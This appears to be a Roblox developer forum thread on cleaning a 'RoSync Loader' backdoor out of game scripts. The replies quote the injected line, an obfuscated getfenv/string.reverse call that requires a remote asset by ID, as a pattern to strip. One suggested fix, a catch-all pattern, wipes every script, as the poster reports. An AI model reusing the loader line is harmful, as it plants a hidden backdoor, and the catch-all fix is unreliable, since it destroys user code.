alpha = "%-%-%[%[ Last synced 3/18/2021 06:35 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]-- "
for _, Desc in ipairs(game:GetDescendants()) do
pcall(function()
if Desc:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Desc.Source, alpha, "")
Desc.Source = Replacement
end
end)
end
alpha = "%-%-%[%[ Last synced 3/18/2021 06:37 RoSync Loader %]%] getfenv()%[string%.reverse(\"\101\114\105\117\113\101\114\")%](5722905184) %-%-%[%[ %]%]%-%-"
for _, Desc in ipairs(game:GetDescendants()) do
pcall(function()
if Desc:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Desc.Source, alpha, "")
Desc.Source = Replacement
end
end)
end
Try this, let me know if you get any unicode errors or anything like that
Here is a code sample I made you:
The pattern will entirely remove the content.
local T = "--[[ Last synced 3/18/2021 06:35"
local Pattern = "[%p%w]+"
print(string.gsub(T,Pattern,"",5)) -- 5 is to represent the number of maximum words we would like to get rid of as your String "--[[ Last synced 3/18/2021 06:35" is always 5 words long
Your practical Example:
local Pattern = "[%p%w]+"
for _, Desc in ipairs(game:GetDescendants()) do
pcall(function(Descendant)
if Descendant:IsA('LuaSourceContainer') then
local Replacement = string.gsub(Descendant.Source,
Pattern,
"")
Descendant.Source = Replacement
end
end)
end
Also the easiest way for you to get rid of the backdoor, Just click CTRL + SHITFT + F and You can input the string you would like to find in all your script and replace it with white spaces.
local Pattern = "[%p%w]+"
for _, Desc in ipairs(game:GetDescendants()) do
pcall(function()
if Desc:IsA('LuaSourceContainer') then
print(Desc)
local Replacement = string.gsub(Desc.Source,
Pattern,
"")
Desc.Source = Replacement
end
end)
end
it works, the virus is gone, but it has also cleared every bit of code I have written